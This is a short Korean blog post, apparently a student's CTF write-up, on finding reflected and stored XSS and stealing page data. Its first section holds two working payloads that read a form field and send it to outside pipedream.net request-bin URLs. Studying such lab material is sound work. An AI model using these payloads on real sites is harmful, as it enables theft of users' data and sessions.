• Home
  • About
    • PI photo

      PI

      Beginner's Blog

    • Learn More
    • Github
  • Posts
    • All Posts
    • All Tags
    • All Categories
  • Projects

[CTF] CTF 문제 풀이: XSS - iframe tag 이용 다른 페이지 data 탈취하기

📆 Created: 2024.12.30 Mon

Reading time ~1 minute

CTF - Basic Script Prac

mypage.php

  1. 저장되고 출력되는 위치 확인

  2. 특수문자 <’”> 사용 가능한 지 확인

  3. <script>alert(1)</script>로 Reflected XSS 공격이 가능한 지 확인

  4. data 탈취

  • 공격 코드 1
    ">
    <script>
    window.addEventListener('DOMContentLoaded',
      function() {
          let e = document.querySelectorAll('input')[1].placeholder;
          let i = new Image();
          i.src = 'https://eoxee0fw4m1u2sw.m.pipedream.net/?cookie=' + e;
      });
    </script>
    
  • 공격 코드 2
    ">
    <img src=. onerror="
    let e = document.querySelectorAll('input')[1].placeholder;
    let i = new Image();
    i.src = 'https://eot2jevtyijbm2l.m.pipedream.net/?cookie=' + e;
    ">
    

CTF - Steal Info

notice_list.php

  1. 저장되고 출력되는 위치 확인

  2. 특수문자 <’”> 사용 가능한 지 확인

  3. <script>alert(1)</script>로 XSS 공격이 가능한 지 확인

  4. data 탈취

  • 공격 코드
    pre tag가 일을 안 해요

CTF - Steal Info 2

notice_list.php

  1. 저장되고 출력되는 위치 확인

  2. 특수문자 <’”> 사용 가능한 지 확인

  3. <script>alert(1)</script>로 Stored XSS 공격이 가능한 지 확인

  4. data 탈취

  • 공격 코드
    pre tag가 일을 안 해요 2


TILWEBJSSECURITY Share Tweet +1
/#disqus_thread